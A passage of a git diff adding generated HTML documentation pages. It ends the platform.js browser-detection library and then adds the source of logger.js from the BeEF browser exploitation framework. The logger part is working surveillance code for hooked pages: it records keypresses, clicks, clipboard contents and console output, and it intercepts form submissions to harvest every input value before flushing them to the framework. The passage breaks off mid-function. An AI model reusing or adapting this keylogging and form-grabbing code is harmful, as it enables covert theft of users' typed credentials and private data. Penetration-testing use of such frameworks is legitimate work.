+              RegExp('\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\d+|[^ ();-]*)', 'i').exec(ua)
+            )) {
+          // Split by forward slash and append product version if needed.
+          if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\d.]+/.test(result[0])) {
+            result[0] += ' ' + result[1];
+          }
+          // Correct character case and cleanup string.
+          guess = guess.label || guess;
+          result = format(result[0]
+            .replace(RegExp(pattern, 'i'), guess)
+            .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')
+            .replace(RegExp('(' + guess + ')[-_.]?(\\w)', 'i'), '$1 $2'));
+        }
+        return result;
+      });
+    }
+
+    /**
+     * Resolves the version using an array of UA patterns.
+     *
+     * @private
+     * @param {Array} patterns An array of UA patterns.
+     * @returns {null|string} The detected version.
+     */
+    function getVersion(patterns) {
+      return reduce(patterns, function(result, pattern) {
+        return result || (RegExp(pattern +
+          '(?:-[\\d.]+/|(?: for [\\w-]+)?[ /-])([\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;
+      });
+    }
+
+    /**
+     * Returns `platform.description` when the platform object is coerced to a string.
+     *
+     * @name toString
+     * @memberOf platform
+     * @returns {string} Returns `platform.description` if available, else an empty string.
+     */
+    function toStringPlatform() {
+      return this.description || '';
+    }
+
+    /*------------------------------------------------------------------------*/
+
+    // Convert layout to an array so we can add extra details.
+    layout && (layout = [layout]);
+
+    // Detect product names that contain their manufacturer's name.
+    if (manufacturer && !product) {
+      product = getProduct([manufacturer]);
+    }
+    // Clean up Google TV.
+    if ((data = /\bGoogle TV\b/.exec(product))) {
+      product = data[0];
+    }
+    // Detect simulators.
+    if (/\bSimulator\b/i.test(ua)) {
+      product = (product ? product + ' ' : '') + 'Simulator';
+    }
+    // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.
+    if (name == 'Opera Mini' && /\bOPiOS\b/.test(ua)) {
+      description.push('running in Turbo/Uncompressed mode');
+    }
+    // Detect IE Mobile 11.
+    if (name == 'IE' && /\blike iPhone OS\b/.test(ua)) {
+      data = parse(ua.replace(/like iPhone OS/, ''));
+      manufacturer = data.manufacturer;
+      product = data.product;
+    }
+    // Detect iOS.
+    else if (/^iP/.test(product)) {
+      name || (name = 'Safari');
+      os = 'iOS' + ((data = / OS ([\d_]+)/i.exec(ua))
+        ? ' ' + data[1].replace(/_/g, '.')
+        : '');
+    }
+    // Detect Kubuntu.
+    else if (name == 'Konqueror' && !/buntu/i.test(os)) {
+      os = 'Kubuntu';
+    }
+    // Detect Android browsers.
+    else if ((manufacturer && manufacturer != 'Google' &&
+        ((/Chrome/.test(name) && !/\bMobile Safari\b/i.test(ua)) || /\bVita\b/.test(product))) ||
+        (/\bAndroid\b/.test(os) && /^Chrome/.test(name) && /\bVersion\//i.test(ua))) {
+      name = 'Android Browser';
+      os = /\bAndroid\b/.test(os) ? os : 'Android';
+    }
+    // Detect Silk desktop/accelerated modes.
+    else if (name == 'Silk') {
+      if (!/\bMobi/i.test(ua)) {
+        os = 'Android';
+        description.unshift('desktop mode');
+      }
+      if (/Accelerated *= *true/i.test(ua)) {
+        description.unshift('accelerated');
+      }
+    }
+    // Detect PaleMoon identifying as Firefox.
+    else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
+      description.push('identifying as Firefox ' + data[1]);
+    }
+    // Detect Firefox OS and products running Firefox.
+    else if (name == 'Firefox' && (data = /\b(Mobile|Tablet|TV)\b/i.exec(ua))) {
+      os || (os = 'Firefox OS');
+      product || (product = data[1]);
+    }
+    // Detect false positives for Firefox/Safari.
+    else if (!name || (data = !/\bMinefield\b/i.test(ua) && /\b(?:Firefox|Safari)\b/.exec(name))) {
+      // Escape the `/` for Firefox 1.
+      if (name && !product && /[\/,]|^[^(]+?\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {
+        // Clear name of false positives.
+        name = null;
+      }
+      // Reassign a generic name.
+      if ((data = product || manufacturer || os) &&
+          (product || manufacturer || /\b(?:Android|Symbian OS|Tablet OS|webOS)\b/.test(os))) {
+        name = /[a-z]+(?: Hat)?/i.exec(/\bAndroid\b/.test(os) ? os : data) + ' Browser';
+      }
+    }
+    // Add Chrome version to description for Electron.
+    else if (name == 'Electron' && (data = (/\bChrome\/([\d.]+)\b/.exec(ua) || 0)[1])) {
+      description.push('Chromium ' + data);
+    }
+    // Detect non-Opera (Presto-based) versions (order is important).
+    if (!version) {
+      version = getVersion([
+        '(?:Cloud9|CriOS|CrMo|Edge|EdgA|EdgiOS|FxiOS|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$))',
+        'Version',
+        qualify(name),
+        '(?:Firefox|Minefield|NetFront)'
+      ]);
+    }
+    // Detect stubborn layout engines.
+    if ((data =
+          layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' ||
+          /\bOpera\b/.test(name) && (/\bOPR\b/.test(ua) ? 'Blink' : 'Presto') ||
+          /\b(?:Midori|Nook|Safari)\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' ||
+          !layout && /\bMSIE\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') ||
+          layout == 'WebKit' && /\bPlayStation\b(?! Vita\b)/i.test(name) && 'NetFront'
+        )) {
+      layout = [data];
+    }
+    // Detect Windows Phone 7 desktop mode.
+    if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(ua) || 0)[1])) {
+      name += ' Mobile';
+      os = 'Windows Phone ' + (/\+$/.test(data) ? data : data + '.x');
+      description.unshift('desktop mode');
+    }
+    // Detect Windows Phone 8.x desktop mode.
+    else if (/\bWPDesktop\b/i.test(ua)) {
+      name = 'IE Mobile';
+      os = 'Windows Phone 8.x';
+      description.unshift('desktop mode');
+      version || (version = (/\brv:([\d.]+)/.exec(ua) || 0)[1]);
+    }
+    // Detect IE 11 identifying as other browsers.
+    else if (name != 'IE' && layout == 'Trident' && (data = /\brv:([\d.]+)/.exec(ua))) {
+      if (name) {
+        description.push('identifying as ' + name + (version ? ' ' + version : ''));
+      }
+      name = 'IE';
+      version = data[1];
+    }
+    // Leverage environment features.
+    if (useFeatures) {
+      // Detect server-side environments.
+      // Rhino has a global function while others have a global object.
+      if (isHostType(context, 'global')) {
+        if (java) {
+          data = java.lang.System;
+          arch = data.getProperty('os.arch');
+          os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');
+        }
+        if (rhino) {
+          try {
+            version = context.require('ringo/engine').version.join('.');
+            name = 'RingoJS';
+          } catch(e) {
+            if ((data = context.system) && data.global.system == context.system) {
+              name = 'Narwhal';
+              os || (os = data[0].os || null);
+            }
+          }
+          if (!name) {
+            name = 'Rhino';
+          }
+        }
+        else if (
+          typeof context.process == 'object' && !context.process.browser &&
+          (data = context.process)
+        ) {
+          if (typeof data.versions == 'object') {
+            if (typeof data.versions.electron == 'string') {
+              description.push('Node ' + data.versions.node);
+              name = 'Electron';
+              version = data.versions.electron;
+            } else if (typeof data.versions.nw == 'string') {
+              description.push('Chromium ' + version, 'Node ' + data.versions.node);
+              name = 'NW.js';
+              version = data.versions.nw;
+            }
+          }
+          if (!name) {
+            name = 'Node.js';
+            arch = data.arch;
+            os = data.platform;
+            version = /[\d.]+/.exec(data.version);
+            version = version ? version[0] : null;
+          }
+        }
+      }
+      // Detect Adobe AIR.
+      else if (getClassOf((data = context.runtime)) == airRuntimeClass) {
+        name = 'Adobe AIR';
+        os = data.flash.system.Capabilities.os;
+      }
+      // Detect PhantomJS.
+      else if (getClassOf((data = context.phantom)) == phantomClass) {
+        name = 'PhantomJS';
+        version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch);
+      }
+      // Detect IE compatibility modes.
+      else if (typeof doc.documentMode == 'number' && (data = /\bTrident\/(\d+)/i.exec(ua))) {
+        // We're in compatibility mode when the Trident version + 4 doesn't
+        // equal the document mode.
+        version = [version, doc.documentMode];
+        if ((data = +data[1] + 4) != version[1]) {
+          description.push('IE ' + version[1] + ' mode');
+          layout && (layout[1] = '');
+          version[1] = data;
+        }
+        version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];
+      }
+      // Detect IE 11 masking as other browsers.
+      else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\b/.test(name)) {
+        description.push('masking as ' + name + ' ' + version);
+        name = 'IE';
+        version = '11.0';
+        layout = ['Trident'];
+        os = 'Windows';
+      }
+      os = os && format(os);
+    }
+    // Detect prerelease phases.
+    if (version && (data =
+          /(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec(version) ||
+          /(?:alpha|beta)(?: ?\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) ||
+          /\bMinefield\b/i.test(ua) && 'a'
+        )) {
+      prerelease = /b/i.test(data) ? 'beta' : 'alpha';
+      version = version.replace(RegExp(data + '\\+?$'), '') +
+        (prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
+    }
+    // Detect Firefox Mobile.
+    if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS)\b/.test(os)) {
+      name = 'Firefox Mobile';
+    }
+    // Obscure Maxthon's unreliable version.
+    else if (name == 'Maxthon' && version) {
+      version = version.replace(/\.[\d.]+/, '.x');
+    }
+    // Detect Xbox 360 and Xbox One.
+    else if (/\bXbox\b/i.test(product)) {
+      if (product == 'Xbox 360') {
+        os = null;
+      }
+      if (product == 'Xbox 360' && /\bIEMobile\b/.test(ua)) {
+        description.unshift('mobile mode');
+      }
+    }
+    // Add mobile postfix.
+    else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) &&
+        (os == 'Windows CE' || /Mobi/i.test(ua))) {
+      name += ' Mobile';
+    }
+    // Detect IE platform preview.
+    else if (name == 'IE' && useFeatures) {
+      try {
+        if (context.external === null) {
+          description.unshift('platform preview');
+        }
+      } catch(e) {
+        description.unshift('embedded');
+      }
+    }
+    // Detect BlackBerry OS version.
+    // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp
+    else if ((/\bBlackBerry\b/.test(product) || /\bBB10\b/.test(ua)) && (data =
+          (RegExp(product.replace(/ +/g, ' *') + '/([.\\d]+)', 'i').exec(ua) || 0)[1] ||
+          version
+        )) {
+      data = [data, /BB10/.test(ua)];
+      os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];
+      version = null;
+    }
+    // Detect Opera identifying/masking itself as another browser.
+    // http://www.opera.com/support/kb/view/843/
+    else if (this != forOwn && product != 'Wii' && (
+          (useFeatures && opera) ||
+          (/Opera/.test(name) && /\b(?:MSIE|Firefox)\b/i.test(ua)) ||
+          (name == 'Firefox' && /\bOS X (?:\d+\.){2,}/.test(os)) ||
+          (name == 'IE' && (
+            (os && !/^Win/.test(os) && version > 5.5) ||
+            /\bWindows XP\b/.test(os) && version > 8 ||
+            version == 8 && !/\bTrident\b/.test(ua)
+          ))
+        ) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) {
+      // When "identifying", the UA contains both Opera and the other browser's name.
+      data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');
+      if (reOpera.test(name)) {
+        if (/\bIE\b/.test(data) && os == 'Mac OS') {
+          os = null;
+        }
+        data = 'identify' + data;
+      }
+      // When "masking", the UA contains only the other browser's name.
+      else {
+        data = 'mask' + data;
+        if (operaClass) {
+          name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));
+        } else {
+          name = 'Opera';
+        }
+        if (/\bIE\b/.test(data)) {
+          os = null;
+        }
+        if (!useFeatures) {
+          version = null;
+        }
+      }
+      layout = ['Presto'];
+      description.push(data);
+    }
+    // Detect WebKit Nightly and approximate Chrome/Safari versions.
+    if ((data = (/\bAppleWebKit\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
+      // Correct build number for numeric comparison.
+      // (e.g. "532.5" becomes "532.05")
+      data = [parseFloat(data.replace(/\.(\d)$/, '.0$1')), data];
+      // Nightly builds are postfixed with a "+".
+      if (name == 'Safari' && data[1].slice(-1) == '+') {
+        name = 'WebKit Nightly';
+        prerelease = 'alpha';
+        version = data[1].slice(0, -1);
+      }
+      // Clear incorrect browser versions.
+      else if (version == data[1] ||
+          version == (data[2] = (/\bSafari\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
+        version = null;
+      }
+      // Use the full Chrome version when available.
+      data[1] = (/\bChrome\/([\d.]+)/i.exec(ua) || 0)[1];
+      // Detect Blink layout engine.
+      if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
+        layout = ['Blink'];
+      }
+      // Detect JavaScriptCore.
+      // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
+      if (!useFeatures || (!likeChrome && !data[1])) {
+        layout && (layout[1] = 'like Safari');
+        data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : '8');
+      } else {
+        layout && (layout[1] = 'like Chrome');
+        data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
+      }
+      // Add the postfix of ".x" or "+" for approximate versions.
+      layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));
+      // Obscure version for some Safari 1-2 releases.
+      if (name == 'Safari' && (!version || parseInt(version) > 45)) {
+        version = data;
+      }
+    }
+    // Detect Opera desktop modes.
+    if (name == 'Opera' &&  (data = /\bzbov|zvav$/.exec(os))) {
+      name += ' ';
+      description.unshift('desktop mode');
+      if (data == 'zvav') {
+        name += 'Mini';
+        version = null;
+      } else {
+        name += 'Mobile';
+      }
+      os = os.replace(RegExp(' *' + data + '$'), '');
+    }
+    // Detect Chrome desktop mode.
+    else if (name == 'Safari' && /\bChrome\b/.exec(layout && layout[1])) {
+      description.unshift('desktop mode');
+      name = 'Chrome Mobile';
+      version = null;
+
+      if (/\bOS X\b/.test(os)) {
+        manufacturer = 'Apple';
+        os = 'iOS 4.3+';
+      } else {
+        os = null;
+      }
+    }
+    // Strip incorrect OS versions.
+    if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
+        ua.indexOf('/' + data + '-') > -1) {
+      os = trim(os.replace(data, ''));
+    }
+    // Add layout engine.
+    if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
+        /Browser|Lunascape|Maxthon/.test(name) ||
+        name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
+        /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(name) && layout[1])) {
+      // Don't add layout details to description if they are falsey.
+      (data = layout[layout.length - 1]) && description.push(data);
+    }
+    // Combine contextual information.
+    if (description.length) {
+      description = ['(' + description.join('; ') + ')'];
+    }
+    // Append manufacturer to description.
+    if (manufacturer && product && product.indexOf(manufacturer) < 0) {
+      description.push('on ' + manufacturer);
+    }
+    // Append product to description.
+    if (product) {
+      description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);
+    }
+    // Parse the OS into an object.
+    if (os) {
+      data = / ([\d.+]+)$/.exec(os);
+      isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/';
+      os = {
+        'architecture': 32,
+        'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os,
+        'version': data ? data[1] : null,
+        'toString': function() {
+          var version = this.version;
+          return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');
+        }
+      };
+    }
+    // Add browser/OS architecture.
+    if ((data = /\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(arch)) && !/\bi686\b/i.test(arch)) {
+      if (os) {
+        os.architecture = 64;
+        os.family = os.family.replace(RegExp(' *' + data), '');
+      }
+      if (
+          name && (/\bWOW64\b/i.test(ua) ||
+          (useFeatures && /\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\bWin64; x64\b/i.test(ua)))
+      ) {
+        description.unshift('32-bit');
+      }
+    }
+    // Chrome 39 and above on OS X is always 64-bit.
+    else if (
+        os && /^OS X/.test(os.family) &&
+        name == 'Chrome' && parseFloat(version) >= 39
+    ) {
+      os.architecture = 64;
+    }
+
+    ua || (ua = null);
+
+    /*------------------------------------------------------------------------*/
+
+    /**
+     * The platform object.
+     *
+     * @memberof platform
+     * @type Object
+     */
+    var platform = {};
+
+    /**
+     * The platform description.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.description = ua;
+
+    /**
+     * The name of the browser's layout engine.
+     *
+     * The list of common layout engines include:
+     * "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.layout = layout && layout[0];
+
+    /**
+     * The name of the product's manufacturer.
+     *
+     * The list of manufacturers include:
+     * "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry",
+     * "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo",
+     * "Nokia", "Samsung" and "Sony"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.manufacturer = manufacturer;
+
+    /**
+     * The name of the browser/environment.
+     *
+     * The list of common browser names include:
+     * "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE",
+     * "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk",
+     * "Opera Mini" and "Opera"
+     *
+     * Mobile versions of some browsers have "Mobile" appended to their name:
+     * eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.name = name;
+
+    /**
+     * The alpha/beta release indicator.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.prerelease = prerelease;
+
+    /**
+     * The name of the product hosting the browser.
+     *
+     * The list of common products include:
+     *
+     * "BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle",
+     * "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.product = product;
+
+    /**
+     * The browser's user agent string.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.ua = ua;
+
+    /**
+     * The browser/environment version.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.version = name && version;
+
+    /**
+     * The name of the operating system.
+     *
+     * @memberOf platform
+     * @type Object
+     */
+    platform.os = os || {
+
+      /**
+       * The CPU architecture the OS is built for.
+       *
+       * @memberOf platform.os
+       * @type number|null
+       */
+      'architecture': null,
+
+      /**
+       * The family of the OS.
+       *
+       * Common values include:
+       * "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
+       * "Windows XP", "OS X", "Ubuntu", "Debian", "Fedora", "Red Hat", "SuSE",
+       * "Android", "iOS" and "Windows Phone"
+       *
+       * @memberOf platform.os
+       * @type string|null
+       */
+      'family': null,
+
+      /**
+       * The version of the OS.
+       *
+       * @memberOf platform.os
+       * @type string|null
+       */
+      'version': null,
+
+      /**
+       * Returns the OS string.
+       *
+       * @memberOf platform.os
+       * @returns {string} The OS string.
+       */
+      'toString': function() { return 'null'; }
+    };
+
+    platform.parse = parse;
+    platform.toString = toStringPlatform;
+
+    if (platform.version) {
+      description.unshift(version);
+    }
+    if (platform.name) {
+      description.unshift(name);
+    }
+    if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) {
+      description.push(product ? '(' + os + ')' : 'on ' + os);
+    }
+    if (description.length) {
+      platform.description = description.join(' ');
+    }
+    return platform;
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  // Export platform.
+  var platform = parse();
+
+  // Some AMD build optimizers, like r.js, check for condition patterns like the following:
+  if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
+    // Expose platform on the global object to prevent errors when platform is
+    // loaded by a script tag in the presence of an AMD loader.
+    // See http://requirejs.org/docs/errors.html#mismatch for more details.
+    root.platform = platform;
+
+    // Define as an anonymous module so platform can be aliased through path mapping.
+    define(function() {
+      return platform;
+    });
+  }
+  // Check for `exports` after `define` in case a build optimizer adds an `exports` object.
+  else if (freeExports && freeModule) {
+    // Export for CommonJS support.
+    forOwn(platform, function(value, key) {
+      freeExports[key] = value;
+    });
+  }
+  else {
+    // Export to the global object.
+    root.platform = platform;
+  }
+}.call(this));
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/logger.js.html b/docs/logger.js.html new file mode 100644 index 000000000..e16975531 --- /dev/null +++ b/docs/logger.js.html @@ -0,0 +1,412 @@ + + + + + JSDoc: Source: logger.js + + + + + + + + + + +
+ +

Source: logger.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides logging capabilities.
+ * @namespace beef.logger
+ */
+beef.logger = {
+	
+	running: false,
+    /**
+    * Internal logger id
+    */
+    id: 0,
+	/**
+	 * Holds events created by user, to be sent back to BeEF
+	 */
+	events: [],
+	/**
+	 * Holds current stream of key presses
+	 */
+	stream: [],
+	/**
+	 * Contains current target of key presses
+	 */
+	target: null,
+	/**
+	 * Holds the time the logger was started
+	 */
+	time: null,
+    /**
+    * Holds the event details to be sent to BeEF
+    */
+    e: function() {
+        this.id = beef.logger.get_id();
+        this.time = beef.logger.get_timestamp();
+        this.type = null;
+        this.x = 0;
+        this.y = 0;
+        this.target = null;
+        this.data = null;
+        this.mods = null;
+    },
+    /**
+     * Prevents from recursive event handling on form submission
+     */
+    in_submit: false,
+	
+	/**
+	 * Starts the logger
+	 */
+	start: function() {
+
+		beef.browser.hookChildFrames();
+		this.running = true;
+		var d = new Date();
+		this.time = d.getTime();
+
+        $j(document).off('keypress');
+        $j(document).off('click');
+        $j(window).off('focus');
+        $j(window).off('blur');
+        $j('form').off('submit');
+        $j(document.body).off('copy');
+        $j(document.body).off('cut');
+        $j(document.body).off('paste');
+
+        if (!!window.console && typeof window.console == "object") {
+          try {
+            var oldInfo = window.console.info;
+            console.info = function (message) {
+              beef.logger.console('info', message);
+              oldInfo.apply(console, arguments);
+            };
+            var oldLog = window.console.log;
+            console.log = function (message) {
+              beef.logger.console('log', message);
+              oldLog.apply(console, arguments);
+            };
+            var oldWarn = window.console.warn;
+            console.warn = function (message) {
+              beef.logger.console('warn', message);
+              oldWarn.apply(console, arguments);
+            };
+            var oldDebug = window.console.debug;
+            console.debug = function (message) {
+              beef.logger.console('debug', message);
+              oldDebug.apply(console, arguments);
+            };
+            var oldError = window.console.error;
+            console.error = function (message) {
+              beef.logger.console('error', message);
+              oldError.apply(console, arguments);
+            };
+         } catch(e) {}
+       }
+
+		$j(document).keypress(
+			function(e) { beef.logger.keypress(e); }
+		).click(
+			function(e) { beef.logger.click(e); }
+		);
+		$j(window).focus(
+			function(e) { beef.logger.win_focus(e); }
+		).blur(
+			function(e) { beef.logger.win_blur(e); }
+		);
+		$j('form').submit(
+			function(e) { 
+                beef.logger.submit(e); 
+            }
+		);
+		$j(document.body).on('copy', function() {
+			setTimeout("beef.logger.copy();", 10);
+		});
+		$j(document.body).on('cut', function() {
+			setTimeout("beef.logger.cut();", 10);
+		});
+		$j(document.body).on('paste', function() {
+			beef.logger.paste();
+		});
+	},
+	
+	/**
+	 * Stops the logger
+	 */
+	stop: function() {
+		this.running = false;
+		clearInterval(this.timer);
+        $j(document).off('keypress');
+        $j(document).off('click');
+        $j(window).off('focus');
+        $j(window).off('blur');
+        $j('form').off('submit');
+        $j(document.body).off('copy');
+        $j(document.body).off('cut');
+        $j(document.body).off('paste');
+        // TODO: reset console
+	},
+
+    /**
+    * Get id
+    */
+    get_id: function() {
+        this.id++;
+        return this.id;
+    },
+
+	/**
+	 * Click function fires when the user clicks the mouse.
+	 */
+	click: function(e) {
+        var c = new beef.logger.e();
+        c.type = 'click';
+        c.x = e.pageX;
+        c.y = e.pageY;
+        c.target = beef.logger.get_dom_identifier(e.target);
+        this.events.push(c);
+	},
+	
+	/**
+	 * Fires when the window element has regained focus
+	 */
+	win_focus: function(e) {
+        var f = new beef.logger.e();
+        f.type = 'focus';
+        this.events.push(f);
+	},
+	
+	/**
+	 * Fires when the window element has lost focus
+	 */
+	win_blur: function(e) {
+        var b = new beef.logger.e();
+        b.type = 'blur';
+		this.events.push(b);
+	},
+	
+	/**
+	 * Keypress function fires everytime a key is pressed.
+	 * @param {Object} e: event object
+	 */
+	keypress: function(e) {
+		if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
+		{
+			beef.logger.push_stream();
+			this.target = e.target;
+		}
+		this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
+	},
+	
+	/**
+	 * Copy function fires when the user copies data to the clipboard.
+	 */
+	copy: function(x) {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'copy';
+			c.data = clipboardData.getData("Text");
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+	/**
+	 * Cut function fires when the user cuts data to the clipboard.
+	 */
+	cut: function() {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'cut';
+			c.data = clipboardData.getData("Text");
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+        /**
+         * Console function fires when data is sent to the browser console.
+         */
+        console: function(type, message) {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'console';
+			c.data = type + ': ' + message;
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+	/**
+	 * Paste function fires when the user pastes data from the clipboard.
+	 */
+	paste: function() {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'paste';
+			c.data = clipboardData.getData("Text");
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+	/**
+	 * Submit function fires whenever a form is submitted
+     * TODO: Cleanup this function
+	 */
+	submit: function(e) {
+        if (beef.logger.in_submit) {
+            return true;
+        }
+		try {
+			var f = new beef.logger.e();
+			f.type = 'submit';
+			f.target = beef.logger.get_dom_identifier(e.target);
+            var jqForms = $j(e.target);
+            var values = jqForms.find('input').map(function() { 
+                    var inp = $j(this);    
+                    return inp.attr('name') + '=' + inp.val(); 
+                }).get().join();
+            beef.debug('submitting form inputs: ' + values);
+            /*
+			for (var i = 0; i < e.target.elements.length; i++) {
+	            values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
+	        }
+            */
+			f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
+			this.events.push(f);
+            this.queue();
+            this.target = null;
+            beef.net.flush(function done() {
+                beef.debug("Submitting the form");
+                beef.logger.in_submit = true;
+                jqForms.submit();
+                beef.logger.in_submit = false;
+                beef.debug("Done submitting");
+            });
+            e.preventDefault();
+            return false;
+		} catch(e) {}
+	},
+	
+	/**
+	 * Pushes the current stream to the events queue
+	 */
+	push_stream: function() {
+		if (this.stream.length > 0)
+		{
+			this.events.push(beef.logger.parse_stream());
+			this.stream = [];
+		}
+	},
+	
+	/**
+	 * Translate DOM Object to a readable string
+	 */
+	get_dom_identifier: function(target) {
+		target = (target == null) ? this.target : target;
+		var id = '';
+		if (target)
+		{
+			id = target.tagName.toLowerCase();
+			id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
+			id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
+		}
+		return id;
+	},
+	
+	/**
+	 * Formats the timestamp
+	 * @return {String} timestamp string
+	 */
+	get_timestamp: function() {
+		var d = new Date();
+		return ((d.getTime() - this.time) / 1000).toFixed(3);
+	},
+	
+	/**
+	 * Parses stream array and creates history string
+	 */
+	parse_stream: function() {
+		var s = '';
+        var mods = '';
+		for (var i in this.stream){
+         try{
+            var mod = this.stream[i]['modifiers'];
+            s += String.fromCharCode(this.stream[i]['char']);
+            if(typeof mod != 'undefined' &&
+                      (mod['alt'] == true ||
+                      mod['ctrl'] == true ||
+                      mod['shift'] == true)){
+                mods += (mod['alt']) ? ' [Alt] ' : '';
+                mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
+                mods += (mod['shift']) ? ' [Shift] ' : '';
+                mods += String.fromCharCode(this.stream[i]['char']);
+            }
+
+         }catch(e){}
+		}
+        var k = new beef.logger.e();
+        k.type = 'keys';
+        k.target = beef.logger.get_dom_identifier();
+        k.data = s;
+        k.mods = mods;
+        return k;
+	},
+	
+	/**
+	 * Queue results to be sent back to framework
+	 */
+	queue: function() {
+		beef.logger.push_stream();
+		if (this.events.length > 0)
+		{
